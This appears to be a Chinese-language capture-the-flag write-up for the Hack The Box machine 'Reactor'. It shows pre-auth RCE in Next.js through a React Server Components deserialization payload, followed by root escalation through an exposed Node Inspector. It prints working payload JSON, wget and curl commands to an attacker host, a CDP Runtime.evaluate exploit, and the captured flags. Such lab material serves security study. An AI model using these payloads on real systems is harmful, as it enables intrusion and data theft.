Reactor — HTB Season 15
| 欄位 | 內容 |
|---|---|
| Box | Reactor |
| 賽季 | S15 |
| 難度 | Medium |
| OS | Linux (Ubuntu 24.04.4 LTS) |
| IP | 10.129.7.252 |
| User flag | b7bdab96927c5234cd7a3b394d59737d |
| Root flag | 2af6f2ab1a6699b475c4958390f24c9a |
TL;DR
- 主機在 3000 port 上跑 ReactorWatch —— 一個 Next.js 15.0.3 的應用程式。
- Next.js 15.0.3 受 CVE-2025-55182 / CVE-2025-66478 影響:RSC(React Server Components)反序列化漏洞,透過帶
Next-Actionheader 的multipart/form-dataPOST 即可未授權 RCE,落腳於低權限的node使用者。 - 列舉時發現第二個服務
uptime-monitor.service以 root 身分執行,指令是node --inspect=127.0.0.1:9229。Node Inspector 只綁在 loopback —— 但我們已經在機器內部。 - 用 Chrome DevTools Protocol 連上
ws://127.0.0.1:9229/<uuid>,呼叫Runtime.evaluate執行process.mainModule.require('child_process').execSync(...),這段 JS 跑在 root context。 - 讀取
user.txt與root.txt。
1. 偵察 (Reconnaissance)
1.1 Port 掃描
nmap -Pn -T4 --min-rate 1000 -F -oN nmap/quick.txt 10.129.7.252
# 100 個常見 port 全部 filtered
nmap -Pn -sT -T4 -p 21,22,53,80,443,1337,2222,3000,3306,5000,5432,5984,6379,7000,7070,7474,7687,8000,8008,8080,8081,8443,8888,9000,9090,9200,9300,11211,27017,50000 \
-oN nmap/common-alt.txt 10.129.7.252
# 只有 22 與 3000 開放
PORT STATE SERVICE
22/tcp open ssh
3000/tcp open ppp
1.2 服務指紋
nmap -Pn -sC -sV -p 22,3000 -oN nmap/services.txt 10.129.7.252
關鍵特徵:
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16
3000/tcp open http (Next.js)
X-Powered-By: Next.js
x-nextjs-cache: HIT
curl 根路徑可看到 ReactorWatch v3.2.1 儀表板 —— 一個由 Next.js SSR 的網頁應用。
2. 漏洞分析 —— CVE-2025-55182 / CVE-2025-66478
Next.js 的 React Server Components 流程在 request 含 Next-Action header 時會接受一份序列化的「model」資料。反序列化過程會把 _response._prefix 欄位裡的 JavaScript 表達式拿來編譯執行。利用 __proto__ 與 constructor:constructor 串接,最終取得 JavaScript 的 Function 建構子,於是 _prefix 字串會被當作程式碼直接在 Next.js Node worker 內執行。
- 受影響版本: Next.js 13.x ~ 15.0.4(production mode)
- 是否需登入: 不需要
- 攻擊向量: 單一 POST
/請求,帶Next-Action: x與精心構造的 multipart body - 結果: 以
next start的執行身分達成任意指令執行
Assetnote 已發表技術細節,這裡採用其衍生版本的 PoC。
3. 取得 Foothold —— node 身分 RCE
3.1 Exploit 腳本
exploit/main.py 負責建構惡意 multipart payload,並解析回應中的 digest 欄位拿到輸出。Payload 重點:
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('<CMD>',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:res});",
"_chunks": "$Q2",
"_formData": { "get": "$1:constructor:constructor" }
}
}
執行結果會透過 500 回應裡的 error.digest 帶回。
python3 exploit/main.py http://10.129.7.252:3000 'id'
# [+] Command output:
# uid=999(node) gid=988(node) groups=988(node)
3.2 穩定的 I/O 通道
error.digest 不適合裝長字串(換行與引號會破壞 JSON)。我把這個 RCE primitive 用 exploit/rce.sh 包了一層:
- 把使用者輸入的 shell 指令 base64 編碼(避免引號地獄),
- 在受害機上執行
echo $B64 | base64 -d | bash > /tmp/o_<rand>.txt 2>&1, - 用
curl -X POST把檔案內容上傳到攻擊者本機的exploit/upload_server.py(聽 8001), - 本地端讀檔印出輸出。
./exploit/rce.sh 'cat /opt/reactor-app/.env'
# DB_PATH=/opt/reactor-app/reactor.db
# DB_TYPE=sqlite3
# SENSOR_API_KEY=rw_sk_7f8a9b2c3d4e5f6g7h8i9j0k
# ALERT_WEBHOOK=https://alerts.internal.reactor.htb/webhook
# NODE_ENV=production
出站限制:實測時 4444 / 443 outbound 都打不通,傳統的
bash -i >& /dev/tcp/...會靜默失敗。改走 HTTP upload server(port 8001)才穩定通。
4. 提權 —— node → root 透過 Node Inspector
4.1 發現
./exploit/rce.sh 'ss -tlnp 2>/dev/null'
# LISTEN 0 511 127.0.0.1:9229 *:*
# LISTEN 0 511 *:3000 next-server (v1...
./exploit/rce.sh 'systemctl cat uptime-monitor.service'
[Service]
Type=simple
User=root
ExecStart=/usr/bin/node --inspect=127.0.0.1:9229 /opt/uptime-monitor/worker.js
一個 root 身分的 Node process 把 V8 Inspector 開在 127.0.0.1:9229。Inspector 透過 WebSocket 走 Chrome DevTools Protocol —— 任何能連上這個 port 的 client 都能呼叫 Runtime.evaluate 在該 process 裡執行任意 JavaScript。我們在機器內部,loopback 不是限制。
4.2 取得 debug WebSocket URL
./exploit/rce.sh 'curl -s http://127.0.0.1:9229/json/list'
# "webSocketDebuggerUrl": "ws://127.0.0.1:9229/a5f4b187-181a-4e00-b662-e497f89a7883"
4.3 CDP client (exploit/cdp.py)
一個自包的 Python client,做的事:
- 打
/json/list拿到 WebSocket UUID, - 開 raw TCP socket,手刻 WebSocket handshake(不用
websockets套件), - 送一個 CDP frame:
{"id":1,"method":"Runtime.evaluate",
"params":{"expression":"<JS>","returnByValue":true,"awaitPromise":true}}
- 讀回應裡的
result.value。
./exploit/rce.sh 'wget -q -O /tmp/cdp.py http://10.10.15.76:8001/cdp.py'
./exploit/rce.sh 'python3 /tmp/cdp.py "process.getuid()+\":\"+process.getgid()"'
# "result": { "type": "string", "value": "0:0" }
確認以 root 身分執行 code。
4.4 ESM 環境下的 require 小坑
worker.js 是 ES module,所以全域沒有 require,且 V8 sandbox 預設禁止 dynamic import()(會回 ERR_VM_DYNAMIC_IMPORT_CALLBACK_MISSING)。繞法是用 process.mainModule.require:這是掛在主模組物件上的 CommonJS loader,即使 entry point 是 ESM,Node 在 bootstrap 階段仍會建立 main module 物件,所以這條路徑永遠可用。
./exploit/rce.sh 'python3 /tmp/cdp.py \
"process.mainModule.require(\"child_process\").execSync(\"id; cat /home/engineer/user.txt /root/root.txt\").toString()"'
uid=0(root) gid=0(root) groups=0(root)
b7bdab96927c5234cd7a3b394d59737d
2af6f2ab1a6699b475c4958390f24c9a
5. 取得 Flag
user.txt -> b7bdab96927c5234cd7a3b394d59737d
root.txt -> 2af6f2ab1a6699b475c4958390f24c9a
兩個 flag 都用 POST /api/v4/machine/own(machine id=900)提交,回應 machine_pwned: true。
6. 重點技巧與心得
- RSC deserialization (CVE-2025-55182 / CVE-2025-66478) 一個 POST 就能在所有有問題的 Next.js 13–15 deployment 上 pre-auth RCE。修補方式是升版,或在 edge 把
Next-Actionheader 砍掉。 - 拿
error.digest當 exfil 通道 很脆弱 —— 引號跟換行會弄壞 JSON。在一次性 RCE 上加一層自己的 upload endpoint 是最穩的 I/O 包裝。 - Production 上開 Node
--inspect等同把 root shell 留在 localhost。 即使綁在 loopback,只要主機上有任何指令執行就能升 root。正確做法是 production unit 完全不要--inspect。 - **ESM 沒有
require**,但process.mainModule.require('child_process')可以用,因為 main module 物件仍是 CommonJS handle。對付任何現代 Node 服務都記得這條 fallback。 vmcontext 內 dynamic import 被預設關掉(除非註冊importModuleDynamicallycallback),所以攻擊 inspector 時別浪費時間在await import('child_process')。